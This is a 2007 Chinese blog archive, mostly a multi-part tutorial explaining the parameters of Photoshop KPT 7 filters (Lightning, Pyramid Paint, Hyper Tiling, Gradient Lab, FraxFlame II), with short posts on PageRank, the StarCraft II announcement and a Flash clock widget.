在计算网站排名时,PageRank会将网站的外部链接数考虑进去。我们可以这样说:一个网站的外部链接数越多其PR值就越高;外部链接站点的级别越高(假如Macromedia的网站链到你的网站上),网站的PR值就越高。例如:如果ABC.COM网站上有一个YZ.COM网站的链接,那么ABC.COM网站必须提供一些较好的网站内容,从而Google会把来自XYZ.COM的链接作为它对ABC.COM网站投的一票。你可以下载和安装Google的工具条来检查你的网站级别(PR值)。
那么是不是说,一个网站的外部链接数越高(获得的投票越多), 这个网站就越重要,因而在用与其相关的关键词进行搜索时,它就会取得更高的排名呢?--大错特错。
Google对一个网站上的外部链接数的重视程度并不意味着你因此可以不求策略地与任何网站建立连接。这是因为Google并不是简单地由计算网站的外部链接数来决定其等级。要是那样的话,所有网站管理员就只剩一件事情可做了-疯狂交换链接,尽可能获得最多的外部链接。Google是这样描述的:"Google不只是看一个网站的投票数量,或者这个网站的外部链接数量。同时,它也会对那些投票的网站进行分析。如果这些网站的PR值比较高(具有相当重要性),则其投票的网站可从中受益(亦具有重要性)。
星期三, 五月 23, 2007
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KPT滤镜详解(八): Lighting |
接上篇: KPT滤镜详解(七):Pyramid Paint打造油画效果
Lightning滤镜可以模拟自然界中真实的闪电效果,今天我们就一起来学习它的使用方法。
在学习使用Lightning滤镜之前,我们先了解一下闪电的基本组成部分,如图1所示。
从图中可以看出,闪电主要有三部分组成:主干、分叉点和分支。在了解了闪电的组成部分以后,才可以很好地通过Lightning滤镜控制闪电的形状。
我们仍然边制作效果边学习参数的含义。首先使用Photoshop打开一幅照片,然后执行“滤镜/Kpt effects/Lightning…”菜单命令,启动Lightning滤镜。Lightning滤镜的参数面板也比较简单,共包括Bolt和Path两个参数面板,如图2所示。
使用鼠标直接在Preview预览面板中单击可以确定闪电主干的起点位置,按住Shift键单击鼠标指针则可以确定闪电的走向。
下面介绍一下参数面板的具体含义。Bolt参数面板用来设置闪电的长度、宽度、亮度、颜色和数量等参数,如图3所示。
Bolt Color设置的是闪电束发光的颜色。
在Blend Mode下拉菜单中可以设置闪电效果与原图像的混合模式。
Age参数用来设置闪电束的长短。
Bolt size参数设置的是闪电束的宽度。
Child Intensity参数设置的是闪电分支的亮度。
Child Subtract参数设置的是闪电分支的数量。
当Child Intensity参数设置为最小值0%时,所有闪电分支都变得不可见;当Child Child Intensity和Subtract参数设置成最大值100%时,所有的闪电的分支都将被删除。
Forkiness参数设置的是闪电主干上分叉点的数量。当Forkiness参数设置为0%时,所有的闪电分支都会消失,Child Intensity参数和Child Subtract参数的设置也都会因此变得无效。
Glow Radius参数设置的是闪电束发光的半径。
在Path参数面板中,可以设置闪电的发光路径,如图4所示。
Attractiveness参数用来设置闪电分支末端和闪电主干末端的靠近程度。这里我们将此参数设置为69%。
Spread参数用来设置闪电分支与闪电主干之间的角度,我们将它设置为54%。
Wanderness参数的数值设置的越小,闪电束的走向越直;如果数值越大,则闪电束将迂回到指向的目标。
Zagginess参数可以设置闪电束锯齿状的程度。
如果Wanderness和Zagginess两项参数都设置为0%,闪电的形状会呈现为直线型,如图5所示。
按照你自己的要求设置合适的参数,最后的闪电效果如图6所示。
充分发挥自己的想象力,你一定会制作出令自己满意的闪电效果。
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星期二, 五月 22, 2007
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KPT滤镜详解(七):Pyramid Paint打造油画效果 |
接上篇:KPT滤镜详解(六): Hyper Tiling
Pyramid Paint滤镜可以将图像转换为类似于油画一样的效果,使用这个滤镜可以调整图像的色调、饱和度、亮度等参数,让你的作品更具艺术的味道。今天我们就一起来学习它的使用方法,并制作一种油画效果。
Pyramid Paint滤镜的参数面板比较简单,我们边做实例边学习参数面板的含义。首先使用Photoshop打开一幅照片,然后执行“滤镜/Kpt effects/Pyramid Paint…”菜单命令,启动Pyramid Paint滤镜,如图1所示。
Pyramid Paint滤镜在调整画面的颜色时使用了Lab颜色模式,这是一种与设备无关的24bit颜色模型,基于人眼认识颜色的理论,无论图像在何种设备(包括显示器和打印机)上显示都不会改变颜色。L、a、b三个参数分别代表 Luminance 通道(亮度)通道、a(红到绿)通道和 b(黄到蓝)通道。
(1)在这个滤镜中只包括了一个Parameters参数面板,位于界面的左上角。将Red-Green参数设置为-50%,将Yellow-Blue参数设置为-60%,如图2所示。
这两项参数调节的是Lab图像中a通道和b通道颜色所占的比例。如果设置为负数,则表示绿色和蓝色在图像中所占的的比重减少,从而增大红色和黄色在图像中所占的比重。
(2)设置Saturation参数为0%;设置Contrast参数为34%;设置Hue Rotate参数为229度;Lighten Colors参数设置为3%,这几项参数分别调整图像的色相、饱和度、对比度和亮度等,效果如图3所示。
(3)设置Threshold参数为22,Threshold这项参数用来调整图像中相邻颜色的阈值。相邻颜色的阈值指的是两种颜色间的相似程度,这个参数的数值越小图像中的颜色就越相似,颜色之间的过渡就越平滑,相反,如果这个数值越大,则颜色间的相似程度越小,会产生强烈的层次感,你可以根据自己的喜好来设置这项参数,如图4所示。
(4)Saturate Colors参数用来调整图像中色彩的浓度。色彩的浓度越小,图像就会偏暗;色彩浓度越大,图像整体就会给人感觉很亮,这里我们将Saturate Colors参数设置为50%,如图5所示。
应用Pyramid Paint滤镜前后的效果对比如图6和图7所示。
这个滤镜的使用方法比较简单,但是制作油画效果的能力一点也不差,你可以根据自己的需要制作出更多种不错的效果。
转下篇:Photoshop KPT滤镜详解(八): Lighting
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星期一, 五月 21, 2007
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KPT滤镜详解(六): Hyper Tiling |
接上篇:KPT滤镜详解(五):Gradient Lab
Hyper Tiling是KPT系列中的可以实现超级拼贴效果的一款滤镜,我们可以将拼贴效果应用到二维平面图形或4D空间中。
一、滤镜参数介绍
在学习使用Hyper Tiling滤镜之前,还是先来了解一下滤镜的参数面板组成和含义,它的参数面板如图1所示,主要有两个面板:Style(样式)面板和Transform(变形)面板。
(1)Style(样式)面板
在Style(样式)面板中可以设置拼贴的样式类型等参数,如图2所示。
Type参数用来设置样式的类型,共包括五种,分别为Vortex(漩涡状)、Pinch(收缩状)、Cube(立方体内部)、Sphere(球体内部)、Cylinder(圆柱体内部),如图3所示。
其中Vortex(漩涡状)和Pinch(收缩状)为平面贴图,而Cube(立方体内部)、Sphere(球体内部)和Cylinder(圆柱体内部)为4D贴图。
Depth Cue参数和Depth Intensity参数 用来设置4D空间的深度效果,其中Depth Cue参数用来选择深度效果的表现方法Depth Intensity参数设置的是深度效果的强度。在选择了4D贴图类型的样式以后,Depth Cue参数才可以使用,它包括None(无)、Alpha(透明)、Lighten(亮度)和Darken(暗调)几个选项。如果选择None选项,则不添加任何深度效果;如果选择Alpha选项,则离观察者越远效果的透明度越大,如果选择Lighten选项,则离观察者越远效果的亮度越大;如果选择Darken选项,则离观察者越远的地方效果越暗。
Blend mode参数 用来设置效果的混合方式,和其它类型滤镜或Photoshop的层混合方式类似,这里不再详细介绍。
Transparency 参数 用来设置拼贴效果的整体透明度;Field of view参数用来设置观察者查看效果的范围。
(2)Transform(变形)面板
在Transform(变形)面板中可以设置拼贴效果中位置、大小、缩放和一些4D空间上的一些参数,如图4所示。
Position & Size参数 用来设置效果的位置和缩放参数。Offset X和Offset Y分别设置X和Y坐标,Scale参数设置缩放参数。
4D Rotation参数 用来设置4D空间坐标上的一些旋转效果,这项参数包括四个坐标轴(x,y,z,w),其中xyz坐标轴我们经常可以见到,不难理解;而w轴则为4D空间所特有,类似于把3d形状从内向外翻起,在本滤镜中的含义是将效果绕w轴旋转。
二、实例操作
在了解了滤镜的参数面板以后,我们一起制作一个简单的实例效果。
(1)启动Photoshop,打开一幅图片。将背景层复制为一个副本层,然后执行“滤镜/Kpt effects/Hyper Tiling…”菜单命令,启动Hyper Tiling滤镜。
(2)在Style面板中选择Type为Sphere,设置Depth Cue为None,在Blend mode菜单中选择Procedural作为混合模式。设置Field of view参数为68%,设置Depth Intensity为50%,如图5所示。
(3)在Transform面板中,设置Offset X和OffsetY分别为8%和-8%,设置Scale为63%,设置RotateX、RotateY、RotateZ和RotateW分别为2%、-3%、3%和-10%,如图6所示。
最后的拼贴效果如图7所示。
好了,现在我们就介绍完了Hyper Tiling拼贴滤镜的参数含义和使用方法,并制作了一个简单的小实例,有兴趣的朋友可以自己试着去制作一些有趣的拼贴效果。
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星期日, 五月 20, 2007
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StarCraft 2 我的天啊 |
苦苦等待了这么多年,暴雪终于让我见到希望啦,来看发布会现场的展示视频。
星际争霸II的官方主页也已开通:http://www.starcraft2.com/,内含各种族各单位的介绍,单位出场音效,还有大量的图片和壁纸;另附有两个视频值得一看:
今日发布会上的游戏CG,1024x436高清版;混杂有各单位艺术概念图的游戏实际操作视频,720x404中等分辨率——以上均为暴雪下载器,可执行文件,右键另存到桌面然后双击它开始下载。
星期六, 五月 19, 2007
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无意中发现的免费blog动画时钟资源 |
今天四处闲逛,发现www.clocklink.com这个网站,提供数十款动画时钟,而且全部基于Flash,尺寸可以根据页面大小自己动手随意调整,还有多种颜色主题可以自选。直接生成JS脚本,加到模板里就ok,简单的一点技术含量都没有。而且访问速度还挺快。不错不错,比Google小工具里的那么几款好看多了。
贴几个比较有代表性的出来给大家看:
太多了,懒了,就贴这几个了。有兴趣的话,大家自己去看吧。呵呵~
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HP请来Fiona Ogre Princess |
都看过HP“指手画脚”试的新广告了吧?这回史瑞克的老婆也来凑热闹了。。。
星期五, 五月 18, 2007
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KPT滤镜详解(五):Gradient Lab |
接上篇:KPT滤镜详解(四):KPT FraxFlame II
通过了前面对KPT系列的几个滤镜的学习,相信大家都已经掌握了这个系列滤镜的一些基础操作方法。今天我们将继续深入了解KPT 7滤镜的其它几个滤镜,这次给大家介绍的是Gradient Lab(渐变实验室)滤镜。
Gradient Lab(渐变实验室)滤镜是对Photoshop渐变工具的强大补充,使用它可以制作出形状和样式更加复杂的多层渐变效果。
一、滤镜参数详解
Gradient Lab(渐变实验室)滤镜的参数面板共包括三个面板,分别为Layers(层)、Gradient(渐变)和Settings(设置)面板,如图1所示。
下面对各个参数面板中的选项和使用方法进行详细介绍。
(1)Gradient(渐变)参数面板
Gradient(渐变)参数面板用来调整渐变色,它的使用方法和Photoshop中的渐变工具不太一样。Gradient(渐变)参数面板如图2所示。
在面板的上方有一个大括号,是用来限制调整区域的。我们只能对大括号中的区域进行调整,而大括号以外的部分不受影响。拖动大括号的左端或右端,可以改变大括号的范围;如果拖动大括号顶端的箭头,可以整体移动大括号的位置。
单击渐变颜色条,按住鼠标不放,可以显示三个扩展颜色条,如图3所示。
其中1为调整颜色的阴影区域,2为取色区,3为调整渐变色的透明度。
单击Gradient面板颜色条下方的工具条,会出现一个对应上面颜色的转换点(三角形状),左右拖动转换点可以改变颜色转换的位置,如图4所示。如果要删除转换点,可以按住Alt键单击该转换点即可。
在Gradient面板下方有一排按钮:Hue、Saturation、Brightness等等,我们对它们的含义进行介绍。
Hue:调整渐变色的色调。
Saturation:调整渐变色的饱和度。
Brightness:调整渐变色的亮度。
Contrast:调整渐变色的对比度。
这几个按钮的功能和含义大家都比较常见,下面几个按钮则不太常见:
Blur:此参数用来调整渐变色中颜色过渡的模糊程度,此数值越大,则颜色过渡的界限越模糊,反之则越清晰。
Squeeze:此参数可以挤压渐变颜色左端或右端颜色,使它的影响范围变大,而相应别的颜色就要缩小。
Cycle:使用此参数可以将整个渐变色向左或向右循环滚动。
Frequency:此参数可以设置渐变色的重复次数,如图5所示。
单击Gradient面板右上角的三角形按钮,可以打开Gradient Options(渐变控制)菜单,如图6所示。
Flip Cradient:此参数的功能是翻转渐变色,单击此选项以后渐变色会左右翻转过来。
Copy:复制渐变,复制当前渐变色设置。
Paste:粘贴渐变,将所复制的渐变粘贴到当前渐变中来。
Feathering:羽化渐变。
Preserve Alpha:保持渐变透明度。
Dither Output:抖动输出。
Load Preset:载入预置渐变。
Save Preset:保存当前渐变到预置渐变中。
(2)Setting(设置)面板
在Setting面板中可以设置渐变的Gradient Style(类型)、Gradient Blending(叠加形式)、Mirroring(镜面反射)、Repeat(重复)、Opacity(透明度)、Angle(角度)和Center(中心点)等参数,如图7所示。
Gradient Style(类型):此项参数设置渐变的类型,共有十二种类型Circular(圆形渐变)、Elliptical(椭圆渐变)、Hue Map(色相)、Linear(直线渐变)、Luminance Map(亮度)、Radial(辐射渐变)、Rectangular(矩形渐变)、Saturation Map(饱和度)、Selection Map(选区)、 Shapeburst-Angular(有棱角的多边形)、Shapeburst-Curved(圆滑的曲线)和Square(正方形渐变),如图8所示。
其中的Circular(圆形渐变)、Elliptical(椭圆渐变)、Linear(直线渐变)、Radial(辐射渐变)、Rectangular(矩形渐变)、Square(正方形渐变)都是我们比较常见的渐变形状,无需多做介绍。
Shapeburst-Angular(有棱角的多边形)和Shapeburst-Curved(圆滑的曲线)是两种不同的形状渐变色,根据图像中的选区来确定形状,一个为有棱角的多边形形状,一个为圆滑的曲线形状。
Hue Map(色相)、Luminance Map(亮度)、Saturation Map(饱和度)、Selection Map(选区)几种渐变是通过计算图像中的色调、亮度、对比度以及不透明度的值来应用渐变色。计算得到的最小数值为渐变色最左端的颜色,最大数值为最右端的颜色,其余颜色根据这个数值来计算应该使用哪种颜色。
Gradient Blending(叠加形式):设置渐变色的叠加方式,类似于Photoshop中图层的叠加方式,但是也有所区别。
Mirroring(镜面反射):设置渐变色之间的镜像效果,有A to B、B to A、A to B to A、B to A to B几种形式。
Repeat(重复):设置渐变色的重复次数。
Opacity(透明度):设置渐变效果和原图像之间的透明度,设为100%的时候完全覆盖原图。
Angle(角度):设置渐变色的倾斜旋转角度。
Center(中心点):改变渐变效果在图像中的相对中心点,只适合具有中心点的渐变类型,比如圆形、椭圆、方形等等,设置为0%时位于图像的正中心。
(3)Layers(图层)面板
在Layers(图层)面板中可以设置多个渐变层,如图9所示。
单击面板下方的加号可以添加新的渐变层。如果已经存在了两个以上的渐变层,可以使用上下箭头在不同的渐变层间切换。单击垃圾箱按钮,则可以删除当前选中的渐变层。
(4)Preview(预览)面板
和其它滤镜的预览面板不同的是,Gradient Lab的预览面板下方有三个按钮,如图10所示。
左侧的工具为移动工具,使用它可以移动当前渐变层的位置,相当于是改变了Settings面板中的Center位置参数;另外两个为取样工具,可以将预览窗口中的一段连续渐变色取样到Gradient面板中。
二、实例操作
了解了Gradient滤镜的参数面板以后,我们一起来制作一个渐变色的小实例。
(1)首先在Gradient面板中设置一种渐变颜色,也可以在Preset面板中选择一种预置颜色,如图11所示。
(2)在Setting面板中的Gradient Style菜单中选择Elliptical(椭圆渐变),从Gradient Blending菜单中选择 Normal,从Mirroring菜单中选择B to A。设置Repeat参数为3x,拖动Opacity滑块到100%位置,设置X center为0%,Y center为0%,如图12所示。
(3)在Layers层面板中单击加号按钮,添加一个新的渐变层,渐变色为黑色到白色渐变,设置Frequency参数为3x。在Settings面板中设置Gradient Style渐变样式为Rectangular(矩形渐变),Gradinet Blending混合模式为Procedural,如图13所示。
(4)继续在Layers面板中添加新的渐变层,仍然保持渐变色为黑白色渐变。在Gradient面板右上角下来菜单中选择Flip Gradient(翻转渐变),渐变色就会翻转为白黑渐变,设置 Frequency参数为3x。在Settings面板中设置渐变样式为Rectangular,混合模式为Darken,如图14所示。
(5)继续在Layers面板中添加新的渐变层,在Preset面板中选择渐变色为黄色到红色渐变。在Settings面板中设置渐变样式为Circular,混合模式为Add,其他参数保持不变,此时的效果如图15所示。
现在我们就完成了一个由四个渐变层组成的渐变,读者朋友可以充分发挥自己的想象力创造出更多变幻莫测的效果。
转下篇:KPT滤镜详解(六): Hyper Tiling
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星期三, 五月 16, 2007
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KPT滤镜详解(四):KPT FraxFlame II |
接上篇:KPT滤镜详解(三):KPT Fluid
在学习了KPT 7系列滤镜中的Channel Surfing和Fluid滤镜以后,我们继续学习其它的几个滤镜,今天带大家来领略FraxFlame II滤镜的魅力。
Fractal的本意是不规则的碎片形状,在这里我们可以理解为分形技术的意思。FraxFlame滤镜可以将一些不规则的形状按照一定规律重复、排列,然后组合成新的形状,以得到更加复杂的图形。
一、滤镜参数详解
FraxFlame II滤镜的参数面板比起Channel Surfing和Fluid的参数面板要复杂的多,共有五个面板,分别为Mutation(分形变化)、Gradient(渐变)、Style(样式)、Navigation(导航)、Rendering(着色),如图1所示。
下面我们就分别来详细介绍各个参数面板的使用方法。
(1)Mutation(分形变化)参数面板
Mutation(分形变化)参数面板用来设置分形变化的形状,每一种分形都隶属于由Style(样式)面板所决定的样式(关于样式的分类,在后文中介绍)。当在Style(样式)面板中选择了某一种样式以后,滤镜会随机生成一种分形样式。在Mutation(分形变化)面板的中央显示这种分形样式的父分形,而在父分形的周围则显示由父分形随机生成的一组子分形,共有12个,如图2所示。
在面板的下方有一个可以调节Genetic Variation参数的滑块,此参数用来调整子分形和父分形之间的差别、相似程度。当滑块越靠近左边,子分形与父分形的差别越小,两者就越相似;滑块越靠近右边,子分形与父分形的差别越大,两者就越不相似。
如果你觉得当前父分形不符合你的要求,可以单击一次中央位置的父分形,滤镜会随机生成一组新的子分形。如果你觉得在子分形中有你所需要的形状,可以单击这个子分形,此时会使用此形状替代父分形的显示,在Preview预览面板中也会显示这个子分形的形状,如图3所示。
(2)Gradient(渐变)面板
在Gradient(渐变)面板中可以调节分形的颜色、阴影、透明度、对比度、色调和饱和度等参数,如图4所示。
由于在下一篇文章中我们将详细介绍Gradient Lab滤镜的使用方法,其中会有关于Gradient面板的介绍,所以在这里略去关于Gradient面板的说明。
我们以系统自带的预置渐变来改变分形的颜色、阴影等参数的设置。单击Gradient面板右上角的三角形按钮,在弹出的下拉菜单中选择“Load Preset”选项,可以打开系统预置的渐变颜色设置,如图5所示。在Preset面板中选择一种合适的渐变设置,然后单击右下角的对勾即可将此渐变预置添加到分形中去。
关于Preset面板的使用方法可以参考Channel Surfing滤镜中相关内容的介绍。
(3)Style(样式)面板
在Style(样式)面板中内置了七种最基本的分形样式,分别为Linear、Sinusoidal、Spherical、Swirl、Horseshoe、Polar和Bent,如图6所示。
每一种分形样式的具体含义如下:
Linear 直线形
Sinusoidal 正弦曲线形
Spherical 球状线形
Swirl 漩涡形
Horseshoe 马蹄铁形
Polar 极座标曲线形
Bent 弯曲线形
如果选择了Random选项,系统会随机选择一种样式。
(4)Navigation(导航)面板
在Navigation(导航)面板中可以确定滤镜的摄像机位置和分形结构的形状,如图7所示。
使用FraxFlame II滤镜创建的图形是一个三维的数学模型,不是传统意义上的二维平面图像,所以我们应该可以调节此模型在空间中的三维参数,使用Navigation(导航)面板就可以做到。
Navigation面板左侧的Navigation表盘可以调整摄像机的角度,以改变我们观察此模型的视线(单击表盘上的四个箭头按钮,既可实现摄像机上下左右四个角度的变化);在面板的中上部为Pan工具,可以用来移动摄像机位置,能够让我们查看原来在视图中看不到的地方(按住此按钮,拖动鼠标既可改变摄像机的位置);在面板的中下部为Zoom工具,可以用来拉近或拉远摄像机的镜头,以达到缩放模型的效果(按住此按钮,然后拖动鼠标既可改变模型的缩放);在Navigation面板的右侧为Sizing工具,使用它可以收缩或者膨胀模型(单击按钮中间的位置可以实现模型的收缩,单击外部的四个箭头按钮可以实现模型的膨胀),需要说明的是,此时摄像机的参数保持不变,只是模型自身发生收缩或膨胀的变化。如图8、9、10、11所示分别为放大、缩小、收缩和膨胀时的效果。
(5)Rendering(着色)面板
使用Rendering(着色)面板可以为分形改变着色模式,如图12所示。
单击Render Mode按钮,可以选择不同的模式,分别为Sparse Low、Sparse Medium、Sparse High、Sharp Low、Sharp Med、Sharp High,如图13所示。
其中Sparse Low、Sparse Medium和Sparse High三种模式适合类似云雾一样反复缠绕的效果,比如由Sinusoidal 样式所生成的效果;Sharp Low、Sharp Med、Sharp High三种着色模式适合类似线状紧密排列的效果,比如由Linear样式所生成的效果。
如果你不想使用系统自带的上面六种模式,还可以单击Custom按钮自己调整参数来设置着色模式。单击Custom按钮以后,可以打开参数的详细设置面板,如图14所示。在这个面板中包含三个设置滑块:Sample Density、Oversample、Fitter Radius。
各项参数的含义如下:
Sample Density:用来设置分形的精确密度,这个数值设置的越大,滤镜在着色时产生的细节就越多。
Oversample:用来设置每个像素中分形的重叠程度,使用它可以控制分形效果的生成质量,数值越大质量越高。
Filter Radius:此项参数用来设置分形边缘的模糊程度,数值为模糊半径。
上述三项参数的数值越大,所生成的分形图像质量越高,耗费系统资源越大,生成时间也越长。
在Rendering面板中的上部还有Gamma和Intensity两项参数可以调节分形着色的程度。其中Gamma用来调整着色的中间调,此值越大,图像则亮而浅,此值越小,图像则暗而深;Intensity用来调整着色的强度,此值越大着色的强度越大,此值越小着色的强度则越小。
二、实例操作
在了解所有参数的含义以后,我们一起来制作一个实例。
(1)启动Photoshop,打开一幅照片,如图15所示。
(2)在图层面板上将背景层拖放到“创建新图层”按钮上,创建一个背景副本层。选中副本层,然后执行“滤镜/Kpt Effects/ Kpt FraxFlame II…”菜单命令,启动FraxFlame II滤镜。在Style面板中选择样式为Swirl,如图16所示。
(3)在Mutation面板中选择一种合适的分形图像,设置Genetic Varation相似性为0.5,如图17所示。
(4)打开Gradient面板的Preset对话框,选择一种渐变类型,如图18所示。
(5)在Rendering面板中设置着色参数,Gamma为3.5,Intensity为7.9,设置Render Mode为Custom,Sample Density为10,Oversample为2,Filter Radius为1.0,如图19所示。
(6)单击Previer面板右上角的三角形按钮,在下拉菜单中选择Preview AgainstImage选项,使背景图像显示出来。在Navigation(导航)面板中调节分形图像的位置和缩放参数,最后的效果如图20所示。
好了,现在我们已经介绍完了KPT FraxFlame II滤镜的参数含义和滤镜的使用方法,希望大家能够举一反三,做出更多更好的效果来。
转下篇:KPT滤镜详解(五):Gradient Lab
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